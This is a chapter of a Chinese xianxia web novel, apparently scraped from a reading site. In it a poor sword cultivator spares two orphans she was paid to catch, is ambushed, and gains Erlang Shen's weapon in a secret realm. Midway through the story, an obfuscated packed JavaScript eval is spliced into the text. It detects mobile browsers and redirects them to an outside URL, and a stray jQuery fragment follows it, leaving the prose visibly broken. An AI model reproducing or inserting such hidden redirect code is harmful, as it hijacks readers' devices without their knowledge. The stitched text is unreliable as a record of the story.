默认冷灰
24号文字
方正启体

1. 第1章

作者:大大七本书字数:K更新时间:
    郫县这几日热闹得不像话。


    后山那处被人传为是清源妙道真君的上古秘境出了松动的兆头。


    这事说来也巧,三百年前不知道什么原因导致北荒冰原消融,天下各江河发大水,民不聊生。


    灌江口的清源妙道真君——二郎神——杨戬为天下请命,以其法身封存北荒冰原,化解洪灾,拯救苍生,此后他身死道消。


    灌江口真君洞府也同哮天犬消失于世间。


    这是人人皆知的故事,事过百年,至今郫县家家户户都有真君的泥像或木像感念其恩义。


    照理说,从上古时期肉身成圣,没上封神榜却成仙的圣人,除了二郎神,还有托塔天王一家子。


    但在民间最受百姓爱戴的神将里还得是二郎神。


    因此,这一次不知道从哪里传出他的洞府现世,各路仙家子弟都出动了。


    除了渴望获得真君传承,也希望能去真君老宅里沾沾灵气,给自己添添光彩。


    所以此刻,各派修者塞了满街,连个落脚的板凳都难寻。


    云昭昭自然也要来凑凑热闹。


    她蹲在镇东头那棵老歪脖子树底下,怀里抱着一根黢黑的桃木棍子,手里捏着块粗砂石,“滋啦、滋啦”地磨个不停。


    磨了一上午的剑,身旁走过去不下二十拨剑修,没一个正眼瞧她的。


    不正眼看她的原因无它,只因她穿的太寒酸了。


    一身洗得发白的灰布短打,袖口磨出了毛边,脚下的草鞋露出半个脚趾。


    腰上用一根麻绳固定住外套,绳上挂着几个空瘪瘪的乾坤袋,随着磨剑的动作一晃一晃。


    她自幼被父母抛弃,独自一人在山野修行,早习惯了旁人的各种态度,也乐的清闲自在。


    偏偏有人不长眼,硬要往面前凑。


    “哎哟,这不是咱们‘一木定乾坤’的云大剑修吗?”


    一道尖酸的声音扎破了磨剑声。


    几名身着月白暗花长袍的年轻剑修降下剑光,停在云昭昭身前。


    领头的赵长风把长剑收了,从袖里抽出一把纸扇。扇骨是上好的湘妃竹,少说值三十块中品灵石。云昭昭的目光在扇子上停了一瞬,又移开了。


    赵长风摇着扇,鄙夷地扫过她手里的烧火棍:“怎么,这么多年还没攒够买铁片的钱?要我说,你这么拼命赚钱干嘛?不如跟了我,以后什么法宝没有?”


    他身后一个师弟笑嘻嘻地探手过来,想捏一捏那根桃木棍。


    云昭昭手腕一翻,砂石的棱角擦着那人指尖划过去,吓得他连退两步。


    “散修就是散修,穷得连个响儿都没有。”另一个师弟掩面轻嗤。


    云昭昭连眼皮都没翻,手里的动作稳如泰山,嘴里蹦出一句话:“姓赵的,你那个扇子要是再扇大点声,老娘就把你当蚊子一棍子铲飞,你信不信?”


    “你个牙尖舌利的婆娘!”赵长风脸色一青,要不是看的她长得不错,谁会跟她废这个嘴皮子。


    此刻他把扇子往掌心一拍,抬起了手。


    云昭昭停了磨剑的动作,歪着头,把身上属于金丹修士的威压放了出来。


    空气骤沉,赵长风身后几个筑基期的师弟同时变了脸色,有人的双腿已经发软要给她跪下。


    “诶……龟儿子些,”云昭昭站起身,拍了拍屁股上的灰,桃木棍往肩上一扛,“与其在这儿跟我这穷鬼扯把子,不如摸摸你那兜里,进秘境的定风符带够了没?没带够的话,我这儿有刚画的,看在熟人的份上,十两金子一张,你们要不要?”


    这!简直粗鲁至极!


    赵长风啐了一口,想要掏出法宝,但筑基修为哪怕带着家里长老给的法宝,也实在很难扛住金丹的压力。


    他忍着翻腾的内力,不得不赶紧带着人扬长而去,走时还不忘找补:“哼,满身铜臭,也配修剑!怪道你修得再快也就是散修的命,大宗门谁会收你这种钻钱眼的市井小人!简直有辱斯文!”


    云昭昭对着他们的背影啐了一口。


    心里暗骂:装啥子装,没得金子,你修个铲铲的仙!


    重新蹲回树底下,继续磨。


    砂石磨过桃木,声音单调枯燥,她倒磨得极认真。这根棍子跟了她十年,从筑基磨到金丹,旁人笑她拿烧火棍当剑使,可当年就是这根棍子,打败了五大宗门的筑基期精英剑修。


    “一木定乾坤”就是在这个时候传出去的名号。


    正磨着,一个贼眉鼠眼的汉子从远处凑了过来,左右张望了一圈,从袖里摸出一张金边红底的帖子,蹲到云昭昭身旁。


    “云姑娘,还是老规矩。”他伸出五个手指,压低了声音,“这锭赤金是定金,事成后剩余四锭便是你的。”


    摊开手心。


    黄灿灿的颜色晃得云昭昭眼睛发直,这么大一锭赤金,换一百块上品灵石绰绰有余。


    她把砂石往地上一丢,一把夺过金子,塞进嘴里咬了咬。


    齿间传来实打实的软糯触感,纯度十足。她把金子揣进腰包,拍了拍手:“接了。说吧,让谁消失?”


    “灵墟宗的一位弃徒,带走了宗门的一件宝贝。长辈们不便出面,只要东西回来,人……生死不论。”


    云昭昭接过画像。


    两个十岁出头的小童,面容相似,白净可爱。


    “哪一位?”


    汉子指了指扎红绳花的那个:“就是这个,另一个是她妹妹,无灵根。”


    “只要东西回来?”她卷起画像收好,眯起眼睛,“你是知道我规矩的。这么多锭赤金,就抓一个小娃娃,不对劲吧?”


    “当然当然,这么多年合作,你还信不过我。”汉子凑近几步,手捂着嘴,“也就是你我愿意说道说道,据说那东西是清源秘境的钥匙,有了它才能进真君洞府。灵墟宗不想走漏风声,才找散修来办。”


    “灵墟宗那群老头也信这个?清源真君都道死魂销多少年了,就算进去,也不一定有油水,值当吗?”


    “各人自有缘法。反正你我……落袋为安。”


    那倒是。


    云昭昭盘算着,等这单做完,买“庚金之精”的八万灵石就差不多凑齐了。有了庚金之精,就能打本命剑。有了本命剑——她嘿嘿笑了两声,吹着小曲儿,拎起桃木棍,身形一晃隐入了密林。


    一个时辰后,郫县后山乱石滩。


    云昭昭挡住了两个孩子的去路。桃木棍横在胸前,语调懒散:“别跑了,再跑,腿要被荆棘刮花了。”


    两个孩子抱在一起,哭得满脸泪痕:“求仙子饶命!我们真的没拿什么宝贝,那是爹娘留下的信物,里头装的是生辰八字和遗发!灵墟宗那些老不死的,自己丢了东西找不到,赖在我们身上。求仙子明鉴啊!”


    云昭昭神识往那包裹里一扫——没半点宝光,只有一匣子凡物的阴气。


    匣子里有个山尖形状的铁片,阴气最重。


    灵墟宗那群老杂毛,定是为了传说中的藏宝图,连两个孤儿都不放过,还借她这个散修的手来杀人灭口。呸。


    云昭昭盯着那两个孩子看了三息。


    两张脏兮兮的小脸,鼻涕眼泪糊了一片。年纪小的那个死死攥着姐姐的衣角,指节都攥白了。


    她忽然想起了自己。


    江阳县岷江边上,也有过一个这么大的小姑娘。


    那年她不到六岁,村里人给她穿上大红嫁衣,头上插满绢花,抬上彩轿,吹吹打打送到江边。


    她还以为是在过节,高高兴兴地朝岸上的人挥手。轿子沉到水里的时候,她才知道自己是嫁给河神的“新娘”。


    三百年前清源真君以身堵住灌江口,天下太平了两百年。


    可一百年前岷江开始时不时涨水,淹田毁屋,村民们便想出了这个法子,每隔十年,往江里送一个童女,求河神息怒。


    她是最近一次被送进去的。


    江水灌进鼻子的那一刻,她以为自己死定了。


    可不知怎的,水底忽然亮起一团金光,一只毛茸茸的大手把她从激流里捞了出来。


    救她的是一个满头金发的道人,自称“金毛”,不肯说全名。


    他把她带到岷江上游一处隐蔽的山洞里,教了她三十天。教她怎么呼吸吐纳,怎么引气入体,怎么用一根树枝戳出剑意。


    三十天后,金毛道人留下一根桃木枝,不告而别。


    她在山洞里等了七天,没等回来。


    此刻,她的手摸到了腰间那锭赤金,指尖在上面来回搓了两下。


    一锭赤金,一百块上品灵石。


    这单做完,五锭赤金加上之前存了许多年的钱,就能够买庚金之精。</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17251236|197949||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    手指恋恋不舍地离开了赤金。


    “啧,真晦气。”


    她从怀里摸出两块碎银子,扔进孩子怀里,骂骂咧咧道:“往西北方向走,翻过那道岭有处山坳,藏进去。被灵墟宗抓了,就说我云昭昭没追上,听懂了吗?”


    两个孩子跪在地上磕了几个响头,连滚带爬地跑。年纪小的那个一脚绊在树根上,那枚山尖状的铁片滑了出来,落在泥地里,没人注意。


    云昭昭转身要撤,右脚踩上了那块铁片。


    脚底一烫。


    她皱了皱眉,还没来得及低头看,突然!


    “轰!”


    身后炸开一团雷火,热浪掀起她的衣摆。


    “云昭昭,拿了赏钱却放人,你是真觉得我灵墟宗没脾气吗?”


    十几个剑修围杀而至,个个眼带杀气。


    那个贼眉鼠眼的汉子落在最后面,一直喊着“使不得,使不得”,却没人理他。


    云昭昭扫了一圈,十四个人,清一色筑基后期,阵法已经布开了。


    她那副懒散的神情瞬间消失。


    “原来是鸿门宴,连我也算计上了。”


    她虽穷,身法却是实打实磨出来的。


    步法一展,十几个剑修一时竟进不了身。


    那根桃木棍在她手里舞出一圈漆黑的剑气,硬生生在合围中撕开了一道口子。


    “追!绝不能让她活着出这片林子!”


    云昭昭一路狂奔,树枝抽在脸上,她顾不上擦。鞋底那块铁片粘得死紧,像是长在了上面。


    她被逼到悬崖尽头时,天际忽然划过一道金芒。


    清源秘境正式开启了。


    身后剑气已经贴上了后背。


    云昭昭咬牙,纵身一跃。


    追兵的剑气反而成了推力,她整个人撞入了那道扭曲的空间旋涡。


    耳畔的罡风消散。


    云昭昭摔得七荤八素,落地时手还紧紧捂着腰间那锭赤金。


    她睁开眼,发现自己落在一处极荒僻的洞府内。


    石壁上刻满了繁复古拙的纹路,透着一股万载寒冰的孤意。


    洞府正中,立着一尊青石台。


    台上横放着一把兵刃,棍身狭长,如新月之辉,可顶端秃了,没了刀刃。


    但哪怕是柄断刀,周身散发的威压仍沉重得让她呼吸发紧。


    云昭昭凑上去,见刀柄处刻着两个古篆:清源。


    什么?!这真是清源妙道真君的洞府!


    她摸了摸腰间空瘪瘪的乾坤袋,眼睛亮得吓人。


    手伸了出去。


    指尖触碰到冰冷的棍身的瞬间,鞋底那块粘了一路的铁片猛地弹起,“咔嚓”一声,契合在了兵刃顶端。


    金光炸裂。


    一股毁天灭地的灵力灌入她的体内。


    “啊!”好痛!


    惨叫被堵在了喉咙里。


    那柄三尖两刃刀活过来了,灵力排山倒海地冲刷着经脉。


    她体内那颗冷硬的无情道金丹,在这股力量下寸寸崩裂,碎片没有消散,被另一种温润的力量重新揉捏,重组。


    痛。从骨髓里往外翻的痛。


    她死死攥住石台的边缘,指节发白,浑身像是被丢进了炼丹炉里。


    经脉被拓宽了一倍、两倍……旧的功法根基被连根拔起,新的脉络在废墟上疯长。


    三尖两刃刀发出一声震动九霄的鸣响,最后化作流光,直直撞进了她的丹田。


    那根伴随她十年的桃木棍,在这股神威之下,瞬间化为齑粉,从指缝间簌簌落下。


    “我的桃木剑……”


    她跪在地上,看着指间的碎末,眼眶发红。这根桃木,是当年金毛道人留给她唯一的东西。


    下一瞬,丹田内传来一声沉闷的震荡,那把神兵已经安安稳稳地成了她的本命法宝。


    脑海中,无数名为“八/九玄功”的残片疯狂闪烁。


    脚下的地面却突然化作虚无。整座洞府被一股巨力折叠扭曲,白光刺得她睁不开眼。


    云昭昭伸手去抓石台,捞了个空。


    白光散去,再一睁眼,诶!为什么视角低得出奇?


    低头一看……啊!


    自己的手为什么变成了四只红毛爪子。


    这到底是什么鬼?!
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)